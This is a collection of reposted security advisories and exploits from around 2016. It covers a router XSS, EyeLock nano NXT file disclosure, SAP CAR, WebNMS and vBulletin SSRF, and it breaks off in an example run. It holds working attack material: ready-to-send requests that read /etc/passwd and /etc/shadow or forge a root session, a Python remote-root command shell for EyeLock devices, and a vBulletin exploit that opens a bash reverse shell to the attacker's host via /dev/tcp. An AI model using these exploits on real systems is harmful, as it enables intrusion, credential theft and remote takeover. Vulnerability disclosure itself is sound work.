code in the target user's web browser by adding a persistent JavaScript
payload to the application.

[-] Proof of Concept:

The following request can be used as POC, it opens port 4444 to an
internal IP address. An iframe is added to the ‘srvName’ field and
displays a pop-up box.

192.168.1.1/scvrtsrv.cmd?action=add&srvName=FooBar<iframe%20onload=alert(0)>&srvAddr=192.168.1.100&proto=1,&eStart=4444,&eEnd=4444,iStart=4444,&iEnd=4444,

[-] Disclosure Timeline:

[04 06 2016]: Vendor notification
[07 06 2016]: Vulnerability confirmed. No fix will be released.
[16 07 2016]: Public Disclosure
HireHackking 
EyeLock nano NXT 3.5 Local File Disclosure Vulnerability


Vendor: EyeLock, LLC
Product web page: http://www.eyelock.com
Affected version: NXT Firmware: 3.05.1193 (ICM: 3.5.1)
                  NXT Firmware: 3.04.1108 (ICM: 3.4.13)
                  NXT Firmware: 3.03.944  (ICM: 3.3.2)
                  NXT Firmware: 3.01.646  (ICM: 3.1.13)

Platform: Hardware (Biometric Iris Reader (master))

Summary: Nano NXT is the most advanced compact iris-based identity authentication device
in Eyelock's comprehensive suite of end-to-end identity authentication solutions.
Nano NXT is a miniaturized iris-based recognition system capable of providing
real-time identification, both in-motion and at a distance. The Nano NXT is an
ideal replacement for card-based systems, and seamlessly controls access to turnstiles,
secured entrances, server rooms and any other physical space. Similarly the device
is powerful and compact enough to secure high-value transactions, critical databases,
network workstations or any other information system.

Desc: nano NXT suffers from a file disclosure vulnerability when input passed thru the
'path' parameter to 'logdownload.php' script is not properly verified before being used
to read files. This can be exploited to disclose contents of files from local resources.

==================================================================================
/scripts/logdownload.php:
-------------------------
1: <?php 
2:    header("Content-Type: application/octet-stream");
3:    header("Content-Disposition: attachment; filename={$_GET['dlfilename']}");
4:    readfile($_GET['path']);
5: ?>
==================================================================================

Tested on: GNU/Linux (armv7l)
           lighttpd/1.4.35
           SQLite/3.8.7.2
           PHP/5.6.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                             @zeroscience


Advisory ID: ZSL-2016-5356
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5356.php


10.06.2016

--


http://192.168.40.1/scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd
HireHackking 
1. Advisory Information

Title: SAP CAR Multiple Vulnerabilities
Advisory ID: CORE-2016-0006
Advisory URL: http://www.coresecurity.com/advisories/sap-car-multiple-vulnerabilities
Date published: 2016-08-09
Date of last update: 2016-08-09
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Unchecked Return Value [CWE-252], TOCTOU Race Condition [CWE-367]
Impact: Denial of service, Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2016-5845, CVE-2016-5847

3. Vulnerability Description

SAP [1] distributes software and packages using an archive program called SAPCAR. This program uses a custom archive file format. Vulnerabilities were found in the extraction of specially crafted archive files, that could lead to local denial of service conditions or privilege escalation.

4. Vulnerable Packages

SAPCAR archive tool
Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

SAP published the following Security Notes:

2312905
2327384

6. Credits

This vulnerability was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team.

7. Technical Description / Proof of Concept Code

SAP distributes software and packages using an archive program called SAPCAR. This program uses a custom archive file format. Vulnerabilities were found in the extraction of specially crafted archive files, that could lead to denial of service conditions or escalation of privileges.

The code that handles the extraction of archive files is prone to privilege escalation and denial of service vulnerabilities.

7.1. Denial of service via invalid file names

[CVE-2016-5845] Denial of service vulnerability due the SAPCAR program not checking the return value of file operations when extracting files. This might result in the program crashing when trying to extract files from an specially crafted archive file that contains invalid file names for the target platform. Of special interest are applications or solutions that makes use of SAPCAR in an automated way.

The following is a proof of concept to demonstrate the vulnerability:

 
        $ xxd SAPCAR_crash.SAR 
        0000000: 4341 5220 322e 3031 4452 0081 0000 0f00  CAR 2.01DR......
        0000010: 0000 0000 0000 0000 0000 d4f8 e555 0000  .............U..
        0000020: 0000 0000 0000 0000 1000 696e 7075 742d  ..........input-
        0000030: 6469 722f 696e 7090 7400 4544 1a00 0000  dir/inp.t.ED....
        0000040: 0f00 0000 121f 9d02 7bc1 23b9 a90a 25a9  ........{.#...%.
        0000050: 1525 0a69 9939 a95c 0000 857f b95a       .%.i.9.\.....Z
        
        $ ./SAPCAR -dvf SAPCAR_crash.SAR
        SAPCAR: processing archive SAPCAR_crash.SAR (version 2.01)
        d input-dir/inp#t
        SAPCAR: checksum error in input-dir/inp#t (error 12). No such file or director
        
        $ ./SAPCAR -xvf SAPCAR_crash.SAR
        SAPCAR: processing archive SAPCAR_crash.SAR (version 2.01)
        x input-dir/inp#t
        Segmentation fault
 
7.2. Race condition on permission change

[CVE-2016-5847] Race condition vulnerability due to the way the SAPCAR program change the permissions of extracted files. If a malicious local user has access to a directory where a user is extracting files using SAPCAR, the attacker might use this vulnerability to change the permissions of arbitrary files belonging to the user.

The SAPCAR program writes the file being extracted and after closing it, the program changes the permissions to the ones set on the archive file. There's a time gap between the creating of the file and the change of the permissions. During this time frame, a malicious local user can replace the extracted file with a hard link to a file belonging to another user, resulting in the SAPCAR program changing the permissions on the hard-linked file to be the same as that of the compressed file.

The following is a proof of concept to demonstrate the vulnerability:

 
      $ xxd SAPCAR_race_condition.SAR
      0000000: 4341 5220 322e 3031 5247 b481 0000 2b00  CAR 2.01RG....+.
      0000010: 0000 0000 0000 0000 0000 d023 5e56 0000  ...........#^V..
      0000020: 0000 0000 0000 0000 1000 7465 7374 5f73  ..........test_s
      0000030: 7472 696e 672e 7478 7400 4544 3500 0000  tring.txt.ED5...
      0000040: 2b00 0000 121f 9d02 7b21 19a9 0a85 a599  +.......{!......
      0000050: c9d9 0a49 45f9 e579 0a69 f915 0a59 a5b9  ...IE..y.i...Y..
      0000060: 05c5 0af9 65a9 450a 2540 e99c c4aa 4a85  ....e.E.%@....J.
      0000070: 94fc 7400 0008 08c6 b9                   ..t......
      
      $ ./SAPCAR -tvf SAPCAR_race_condition.SAR 
      SAPCAR: processing archive SAPCAR_race_condition.SAR (version 2.01)
      -rw-rw-r--          43    01 Dec 2015 19:48 test_string.txt
      
      $ strace ./SAPCAR -xvf SAPCAR_race_condition.SAR 
      execve("./SAPCAR", ["./SAPCAR", "-xvf", "SAPCAR_race_condition.SAR"], [/* 76 vars */]) = 0
      [..]
      open("test_string.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
      mmap(NULL, 323584, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f98c4704000
      fstat(4, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
      mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f98c475c000
      write(4, "The quick brown fox jumps over t"..., 43) = 43
      close(4)                                = 0
      munmap(0x7f98c475c000, 4096)            = 0
      utime("test_string.txt", [2015/12/01-19:48:48, 2015/12/01-19:48:48]) = 0
      chmod("test_string.txt", 0664)          = 0
      [..]
       
8. Report Timeline

2016-04-21: Core Security sent an initial notification to SAP.
2016-04-22: SAP confirmed the reception of the email and requested the draft version of the advisory.
2016-04-22: Core Security sent SAP a draft version of the advisory and informed them we would adjust our publication schedule according with the release of a solution to the issues.
2016-04-25: SAP confirmed the reported vulnerabilities and assigned the following security incident tickets IDs: 1670264798, 1670264799 and 1670264800.
2016-05-10: Core Security asked SAP if they had a tentative date for publishing the security fixes.
2016-05-20: SAP informed Core Security they have a tentative release date on July 12th, 2016 (July Patch day).
2016-05-23: Core Security thanked SAP for the tentative date and informed them we would publish our security advisory accordingly upon their confirmation.
2016-06-27: Core Security requested SAP the tentative security notes numbers and links in order to add them to our security advisory.
2016-07-05: SAP informed Core Security they due to some issues found during their testing phase of the patches they were not in a position to ship the patches as part of their July patch day. They said they would be able to ship the patches with August patch day.
2016-07-06: Core Security requested SAP the specific day in August they planed to release the patches.
2016-07-20: Core Security requested again SAP the specific day in August they planed to release the patches.
2016-07-21: SAP informed Core Security they would publish their security notes on the 9th of August.
2016-08-10: Advisory CORE-2016-0006 published.
9. References

[1] http://go.sap.com/. 

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

11. About Core Security

Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company’s strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security’s analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2016 Core Security and (c) 2016 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
HireHackking 
>> Multiple vulnerabilities in WebNMS Framework Server 5.2 and 5.2 SP1
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 04/07/2016 / Last updated: 08/08/2016

>> Background on the affected product:
"WebNMS is an industry-leading framework for building network management applications. With over 25,000 deployments worldwide and in every Tier 1 Carrier, network equipment providers and service providers can customize, extend and rebrand WebNMS as a comprehensive Element Management System (EMS) or Network Management System (NMS).
NOC Operators, Architects and Developers can customize the functional modules to fit their domain and network. Functional modules include Fault Correlation, Performance KPIs, Device Configuration, Service Provisioning and Security. WebNMS supports numerous Operating Systems, Application Servers, and databases."


>> Summary:
WebNMS contains three critical vulnerabilities that can be exploited by an unauthenticated attacker: one directory traversal that can be used to achieve remote code execution, another directory traversal that can be abused to download any text file in the system and the possibility to impersonate any user in the system. In addition, WebNMS also stores the user passwords in a file with a weak obfuscation algorithm that can be easily reversed.

A special thanks to the SecuriTeam Secure Disclosure programme (SSD), which performed the disclosure in a responsible manner to the affected vendor. This advisory can be seen in their blog at https://blogs.securiteam.com/index.php/archives/2712

Metasploit exploits for all vulnerabilities have also been released.


>> Technical details:
#1
Vulnerability: Directory traversal in file upload functionality (leading to remote code execution)
CVE-2016-6600
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below for other constraints.
Affected versions: unknown, at least 5.2 and 5.2 SP1

The FileUploadServlet has a directory traversal vulnerability, that allows an unauthenticated attacker to upload a JSP file that executes on the server. 
To exploit this vulnerability, simply POST as per the proof of concept below. The directory traversal is in the "fileName" parameter.

POST /servlets/FileUploadServlet?fileName=../jsp/Login.jsp HTTP/1.1
<JSP payload here>

There are two things to keep in mind for the upload to be successful:
- Only text files can be uploaded, binary files will be mangled.
- In order to achieve code execution without authentication, the files need to be dropped in ../jsp/ but they can only have the following names: either Login.jsp or a WebStartXXX.jsp, where XXX is any string of any length.


#2
Vulnerability: Directory traversal in file download functionality
CVE-2016-6601
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. Only text files can be downloaded properly, any binary file will get mangled by the servlet and downloaded incorrectly.
Affected versions: unknown, at least 5.2 and 5.2 SP1

The FetchFile servlet has a directory traversal vulnerability that can be abused by an unauthenticated attacker to download arbitrary files from the WebNMS host. The vulnerable parameter is "fileName" and a proof of concept is shown below.

GET /servlets/FetchFile?fileName=../../../etc/shadow


#3
Vulnerability: Weak obfuscation algorithm used to store passwords
CVE-2016-6602
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker.
Affected versions: unknown, at least 5.2 and 5.2 SP1

The ./conf/securitydbData.xml file (in the WebNMS WEB-INF directory) contains entries with all the usernames and passwords in the server:
<DATA ownername="NULL" password="e8c89O1f" username="guest"/>
<DATA ownername="NULL" password="d7963B4t" username="root"/>

The algorithm used to obfuscate is convoluted but easy to reverse engineer. The passwords above are "guest" for the "guest" user and "admin" for the "root" user. A Metasploit module implementing the deobfuscation algorithm has been released.

This vulnerability can be combined with #2 and allow an unauthenticated attacker to obtain credentials for all user accounts:
GET /servlets/FetchFile?fileName=conf/securitydbData.xml 


#4
Vulnerability: User account impersonation / hijacking
CVE-2016-6603
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker.
Affected versions: unknown, at least 5.2 and 5.2 SP1

It is possible to impersonate any user in WebNMS by simply setting the "UserName" HTTP header when making a request, which will return a valid authenticated session cookie. This allows an unauthenticated attacker to impersonate the superuser ("root") and perform administrative actions. The proof of concept is shown below:

GET /servlets/GetChallengeServlet HTTP/1.1
UserName: root

This returns the cookie "SessionId=0033C8CFFE37EB6093849CBA4BF2CAF3;" which is a valid, JSESSIONID cookie authenticated as the "root" user. This can then be used to login to the WebNMS Framework Server by simply setting the cookie and browsing to any page.


>> Fix:
Since the vendor did not respond to any contacts attempted by Beyond Security and its SSD programme, it is not known whether a fixed version of WebNMS Framework Server has been released. It is highly recommended not to expose the server to any untrusted networks (such as the Internet).


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
HireHackking 
#!/usr/bin/env python
#
#
# EyeLock nano NXT 3.5 Remote Root Exploit
#
#
# Vendor: EyeLock, LLC
# Product web page: http://www.eyelock.com
# Affected version: NXT Firmware: 3.05.1193 (ICM: 3.5.1)
#                   NXT Firmware: 3.04.1108 (ICM: 3.4.13)
#                   NXT Firmware: 3.03.944  (ICM: 3.3.2)
#                   NXT Firmware: 3.01.646  (ICM: 3.1.13)
#
# Platform: Hardware (Biometric Iris Reader (master))
#
# EyeLock is an advanced iris authentication and recognition solutions company
# focused on developing next-generation systems for global access control and identity
# management.
#
# Summary: nano NXT® - the next generation of EyeLock’s revolutionary access
# control solutions. nano NXT renders all other access control peripherals
# obsolete by revolutionizing how identities are protected, authenticated,
# and managed. With a sleek low profile and powerful capabilities, the nano
# NXT redefines the future of access control. An optional SDK is available
# to customers who want to customize their security solutions to integrate
# seamlessly with existing applications. The nano NXT authenticates up to 20
# people per minute, in-motion and at-a-distance with unparalleled accuracy.
# nano NXT can be used in a variety of environments including commercial/enterprise,
# corrections, data centers, education, financial services, government, healthcare
# facilities and hospitality.
#
# Nano NXT is the most advanced compact iris-based identity authentication device
# in Eyelock's comprehensive suite of end-to-end identity authentication solutions.
# Nano NXT is a miniaturized iris-based recognition system capable of providing
# real-time identification, both in-motion and at a distance. The Nano NXT is an
# ideal replacement for card-based systems, and seamlessly controls access to turnstiles,
# secured entrances, server rooms and any other physical space. Similarly the device
# is powerful and compact enough to secure high-value transactions, critical databases,
# network workstations or any other information system.
#
# Desc: EyeLock's nano NXT firmware latest version 3.5 (released 25.07.2016) suffers
# from multiple unauthenticated command injection vulnerabilities. The issue lies
# within the 'rpc.php' script located in the '/scripts' directory and can be triggered
# when user supplied input is not correctly sanitized while updating the local time for
# the device and/or get info from remote time server. The vulnerable script has two REQUEST
# parameters 'timeserver' and 'localtime' that are called within a shell_exec() function
# for setting the local time and the hardware clock of the device. An attacker can exploit
# these conditions gaining full system (root) access and execute OS commands on the affected
# device by injecting special characters to the affected parameters and further bypass
# the access control in place.
#
# Hint: Plenty other RCE bugs are present in the rpc.php and others (like: uploadCertificate.php,
# upgrade.php, WebConfig.php, firmwareupdate.php, interfaceeditor.php, etc.)
#
# =============================================================================
# /scripts/rpc.php:
# -----------------
# 9:  if (isset($_REQUEST['action']))
# 10: {
# 11:    switch($_REQUEST['action'])
# ...
# ...
# 181:        case 'updatetime':
# 182:        {
# 183:            // do something, the put our response in the response field...
# 184:            $strDate = shell_exec("rdate -s {$_REQUEST['timeserver']} 2>&1");
# 185:
# 186:            // set the hardware clock.
# 187:            $strResult = shell_exec("/sbin/hwclock -w"); // Does no harm to call this even on failure...
# 188:
# 189:            $strtheDate = shell_exec("date 2>&1");
# 190:
# 191:            echo "updatetime|{$strDate}|{$strtheDate}";
# 192:
# 193:            break;
# 194:        }
# 195:
# 196:        case 'updatelocaltime':
# 197:        {
# 198:            // do something, the put our response in the response field...
# 199:            $strDate = shell_exec("date -s '{$_REQUEST['localtime']}' 2>&1");
# 200:
# 201:            // set the hardware clock
# 202:            $strResult = shell_exec("/sbin/hwclock -w"); // Does no harm to call this even on failure...
# 203:
# 204:            $strtheDate = shell_exec("date 2>&1");
# 205:
# 206:            echo "updatelocaltime|{$strDate}|{$strtheDate}";
# 207:
# 208:            break;
# 209:        }
# =============================================================================
#
# -----------------------------------------------------------------------------
# Master: 192.168.40.1
# Slave:  192.168.40.2
#
# $ eyelock.py 192.168.40.1
#
# root@192.168.40.1:~# id
# uid=0(root) gid=0(root)
#
# root@192.168.40.1:~# cat /home/root/knockd.conf
# [options]
#	logfile = /var/log/knockd.log
#
# [openSSH]
#	sequence    = 1973,1975,2013
#	seq_timeout = 15
#	command     = /usr/sbin/iptables -D INPUT -p tcp --dport 22 -j DROP
#	tcpflags    = syn
#
# [closeSSH]
#	sequence    = 91,85,70
#	seq_timeout = 5
#	command     = /usr/sbin/iptables -A INPUT -p tcp --dport 22 -j DROP
#	tcpflags    = syn
#
#
# root@192.168.40.1:~# exit
#
# $
# -----------------------------------------------------------------------------
#
#
# Tested on: GNU/Linux (armv7l)
#            lighttpd/1.4.35
#            SQLite/3.8.7.2
#            PHP/5.6.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5357
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5357.php
#
#
# 10.06.2016
#

import re,sys,os
import requests

piton = os.path.basename(sys.argv[0])

print '''
---------------------------------------------------------
EyeLock nano NXT <=3.5 [Open Sesame] Remote Root Exploit

         Zero Science Lab - http://zeroscience.mk
                      ZSL-2016-5357

---------------------------------------------------------
'''

if len(sys.argv) < 2:
	print '\n\x20\x20[*] Usage: '+piton+' <ipaddress>\n'
	sys.exit()

ipaddr = sys.argv[1]

print
while True:
	try:
		cmd = raw_input('root@'+ipaddr+':~# ')
		# http://EyelockNxtMasterIP/scripts/rpc.php?action=updatelocaltime&localtime=%26whoami%26
		execute = requests.get('http://'+ipaddr+'/scripts/rpc.php?action=updatetime&timeserver=||'+cmd)
		pattern = re.compile(r'updatetime\|(.*?)\|',re.S|re.M)
		cmdout = pattern.match(execute.text)
		print cmdout.groups()[0].strip()
		print
		if cmd.strip() == 'exit':
			break
	except Exception:
		break

sys.exit()
HireHackking 
'''
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-6483 
- Release date: 05.08.2016
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

vBulletin  <= 5.2.2      Preauth Server Side Request Forgery (SSRF) 
vBulletin  <= 4.2.3
vBulletin  <= 3.8.9


II. BACKGROUND
-------------------------

vBulletin (vB) is a proprietary Internet forum software package developed by 
vBulletin Solutions, Inc., a division of Internet Brands. 

https://www.vbulletin.com/
https://en.wikipedia.org/wiki/VBulletin


A google search for "Powered by vBulletin" returns over 19 million sites
that are hosting a vBulletin forum:

https://www.google.co.uk/?gws_rd=ssl#q=%22Powered+by+vBulletin%22


III. INTRODUCTION
-------------------------

vBulletin forum software is affected by a SSRF vulnerability that allows 
unauthenticated remote attackers to access internal services (such as mail 
servers, memcached, couchDB, zabbix etc.) running on the server hosting 
vBulletin as well as services on other servers on the local network that are 
accessible from the target.

This advisory provides a PoC exploit that demonstrates how an unauthenticated
attacker could perform a port scan of the internal services as well as execute
arbitrary system commands on a target vBulletin host with a locally installed 
Zabbix Agent monitoring service.

IV. DESCRIPTION
-------------------------

vBulletin allows forum users to share media fiels by uploading them to the 
remote server. Some pages allow users to specify a URL to a media file
that a user wants to share which will then be retrieved by vBulletin. 
The user-provided links are validated to make sure that users can only access
resources from HTTP/HTTPS protocols and that connections are not allowed in to 
the localhost.

These restrictions can be found in core/vb/vurl/curl.php source file:

/**
 *      Determine if the url is safe to load
 *
 *      @param $urlinfo -- The parsed url info from vB_String::parseUrl -- scheme, port, host
 *      @return boolean
 */
private function validateUrl($urlinfo)
{
	// VBV-11823, only allow http/https schemes
	if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https')))
	{
		return false;
	}

	// VBV-11823, do not allow localhost and 127.0.0.0/8 range by default
	if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host']))
	{
		return false;
	}

	if (empty($urlinfo['port']))
	{
		if ($urlinfo['scheme'] == 'https')
		{
			$urlinfo['port'] = 443;
		}
		else
		{
			$urlinfo['port'] = 80;
		}
	}
       // VBV-11823, restrict detination ports to 80 and 443 by default
	// allow the admin to override the allowed ports in config.php (in case they have a proxy server they need to go to).
	$config = vB::getConfig();
[...]


HTTP redirects are also prohibited however there is one place in the vBulletin
codebase that accepts redirects from the target server specified in a 
user-provided link.
The code is used to upload media files within a logged-in user's profile and 
can normally be accessed under a path similar to:

http://forum/vBulletin522/member/1-mike/media

By specifying a link to a malicious server that returns a 301 HTTP redirect to 
the URL of http://localhost:3306 for example, an attacker could easily 
bypass the restrictions presented above and make a connection to mysql/3306 
service listening on the localhost.

This introduces a Server Side Request Forgery (SSRF) vulnerability.

As curl is used to fetch remote resources, in addition to HTTP, attackers could 
specify a handful of other protocols to interact with local services. 
For instance, by sending a redirect to  gopher://localhost:11211/datahere
attackers could send arbitrary traffic to memcached service on 11211 port.

Additionally, depending on the temporary directory location configured within
the forum, attackers could potentially view the service responses as the 
download function stores responses within temporary files which could be 
viewed if the temporary directory is exposed on the web server.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

The exploit code below performs a port scan as well as demonstrates remote 
command execution via a popular Zabbix Agent monitoring service which might be
listening on local port of 10050.
The exploit will execute a reverse bash shell on the target if it has the agent 
installed and permits remote commands.

The exploit was verified on the following zabbix agent configuration 
(/etc/zabbix/zabbix_agentd.conf):

Server=127.0.0.1,::1
EnableRemoteCommands=1


------------[ vBulletin_SSRF_exploit.py ]-----------
'''

#!/usr/bin/python

intro = """
vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE)

This PoC exploits an SSRF vulnerability in vBulletin to scan internal services
installed on the web server that is hosting the vBulletin forum.

After the scan, the exploit also checks for a Zabbix Agent (10050) port and
gives an option to execute a reverse shell (Remote Commands) that will connect
back to the attacker's host on port 8080 by default. 

Coded by:

 Dawid Golunski
 http://legalhackers.com
"""
usage = """
Usage:
The exploit requires that you have an external IP and can start a listener on port 80/443
on the attacking machine.

./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port]

Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85
on the remote vBulletin target host:

./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85

Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell e.g:

nc -vv -l -p 8080

Disclaimer:
For testing purposes only. Do no harm.

SSL/TLS support needs some tuning. For better results, provide HTTP URL to the vBulletin target.
"""

import web # http://webpy.org/installation
import threading
import time
import urllib
import urllib2
import socket
import ssl
import sys


# The listener that will send redirects to the targe
class RedirectServer(threading.Thread):
    def run (self):
        urls = ('/([0-9a-z_]+)', 'do_local_redir')
        app = web.application(urls, globals())
        #app.run()
	return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', our_port))

class do_local_redir:
    def GET(self,whereto):
	if whereto == "zabbixcmd_redir":
		# code exec
		# redirect to gopher://localhost:10050/1system.run[(/bin/bash -c 'nohup bash -i >/dev/tcp/our_ip/shell_port 0<&1 2>&1 &')  ; sleep 2s]
		return web.HTTPError('301', {'Location': 'gopher://localhost:10050/1system.run%5b(%2Fbin%2Fbash%20-c%20%27nohup%20bash%20-i%20%3E%2Fdev%2Ftcp%2F'+our_ext_ip+'%2F'+str(shell_port)+'%200%3C%261%202%3E%261%20%26%27) %20%3B%20sleep%202s%5d' } )
	else:
		# internal port connection
		return web.HTTPError('301', {'Location': "telnet://localhost:%s/" % whereto} )

def shutdown(code):
	print "\nJob done. Exiting"
	if redirector_started == 1:
		web.httpserver.server.interrupt = KeyboardInterrupt()
	exit(code)


# [ Default settings ]

# reverse shell will connect back to port defined below
shell_port = 8080
# Our HTTP redirector/server port (must be 80 or 443 for vBulletin to accept it)
our_port = 443
# How long to wait (seconds) before considering a port to be opened. 
# Don't set it too high to avoid service timeout and an incorrect close state
connect_time = 2
# Default port scan range is limited to 20-90 to speed up things when testing,
# feel free to increase maxport to 65535 here or on the command line if you've
# got the time ;)
minport = 20
maxport = 90
# ignore invalid certs (enable if target forum is HTTPS)
#ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)


# [ Main Meat ]

print intro
redirector_started = 0

if len(sys.argv) < 3 :
   print usage
   sys.exit(2)

# Set our HTTP Listener/Redirector's external IP
our_ext_ip = sys.argv[1]
try:
    socket.inet_aton(our_ext_ip)
except socket.error:
    print "Invalid HTTP redirector server IP [%s]!\n" % our_ext_ip
    exit(2)

our_server = "http://%s:%s" % (our_ext_ip, our_port)

# Target forum base URL (e.g. http://vulnerable-vbulletin/forum)
targetforum = sys.argv[2]
# Append vulnerable media upload script path to the base URL
targeturl =  targetforum.strip('/') + "/link/getlinkdata"

# Change port range (if provided)
if (len(sys.argv) == 5) :
	minport = int(sys.argv[3])
# Finish scanning at maxport
	maxport = int(sys.argv[4])


# Confirm data
print "\n* Confirm your settings\n"
print "Redirect server to listen on: %s:%s\nTarget vBulletin URL: %s\nScan ports between: %d - %d\n" % (our_ext_ip, our_port, targeturl, minport, maxport)
key = raw_input("Are these settings correct? Hit enter to start the port scan... ")

# Connection check
print "\n* Testing connection to vulnerable script at [%s]\n" % targeturl
req = urllib2.Request(targeturl, data=' ', headers={ 'User-Agent': 'Mozilla/5.0' } )
try:
	response = urllib2.urlopen(req, timeout=connect_time).read()
except urllib2.URLError as e:
        print "Invalid forum URI / HTTP request failed (reason: %s)\n" % e.reason
	shutdown(2)

# Server should return 'invalid_url' string if not url provided in POST
if "invalid_url" not in response:
	print """Invalid target url (%s) or restricted access.\n
              \nTest with:\n curl -X POST -v %s\nShutting down\n""" % (targeturl, targeturl)
	sys.exit(2)
else:
	print "Got the right response from the URL. The target looks vulnerable!\n" 

# [ Start the listener and perform a port scan ]
print "Let's begin!\n"
print "* Starting our redirect base server on %s:%s \n" % (our_ext_ip, our_port)
RedirectServer().start()
redirector_started = 1

print "* Scanning local ports from %d to %d on [%s] target \n" % (minport, maxport, targetforum)
start = time.time()
opened_ports = []
maxport+=1

for targetport in range(minport, maxport):
        #print "\n\nScanning port %d\n" % (targetport)
	fetchurl =  '%s/%d' % (our_server, targetport)
	data = urllib.urlencode({'url' : fetchurl})
	req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } )
	try:
	    response = urllib2.urlopen(req,  timeout=connect_time)
	except urllib2.URLError, e:
	    print "Oops, url issue? 403 , 404 etc.\n"
	except socket.timeout, ssl.SSLError:
	    print "Conection opened for %d seconds. Port %d is opened!\n" % (connect_time, targetport)
	    opened_ports.append(targetport)

elapsed = (time.time() - start)
print "\nScanning done in %d seconds. \n\n* Opened ports on the target [%s]: \n" % (elapsed, targetforum)
for listening in opened_ports:
	print "Port %d : Opened\n" % listening
print "\nAnything juicy? :)\n"

if 10050 in opened_ports:
	print "* Zabbix Agent was found on port 10050 !\n"

# [ Command execution via Zabbix Agent to gain a reverse shell ]
key = raw_input("Want to execute a reverse shell via the Zabbix Agent? (start netcat before you continue) [y/n] ")
if key != 'y' :
	shutdown(0)

print "\n* Executing reverse shell via Zabbix Agent (10050)."
fetchurl =  '%s/%s' % (our_server, 'zabbixcmd_redir')
data = urllib.urlencode({'url' : fetchurl})
req = urllib2.Request(targeturl, data=data, headers={ 'User-Agent': 'Mozilla/5.0' } )
payload_executed = 0
try:
    response = urllib2.urlopen(req,  timeout=connect_time)
except urllib2.URLError, e:
    print "Oops, url issue? 403 , 404 etc.\n"
except socket.timeout, ssl.SSLError:
    # Agent connection remained opened for 2 seconds after the bash payload was sent, 
    # it looks like the sleep 2s shell command must have got executed sucessfuly
    payload_executed = 1

if (payload_executed == 1) :
        print "\nLooks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :)\n" % shell_port
else:
        print "\nNo luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :(\n"

shutdown(0)

'''
----------------------[ eof ]------------------------


Example run:

root@trusty:~/vbexploit# ./vBulletin_SSRF_exploit.py 192.168.57.10 http://192.168.57.10/vBulletin522new/ 20 85

vBulletin <= 5.2.2 SSRF PoC Exploit (Localhost Portscan / Zabbix Agent RCE)

This PoC exploits an SSRF vulnerability in vBulletin to scan internal services
installed on the web server that is hosting the vBulletin forum.

After the scan, the exploit also checks for a Zabbix Agent (10050) port and
gives an option to execute a reverse shell (Remote Commands) that will connect
back to the attacker's host on port 8080 by default. 

Coded by:

 Dawid Golunski
 http://legalhackers.com


* Confirm your settings

Redirect server to listen on: 192.168.57.10:443
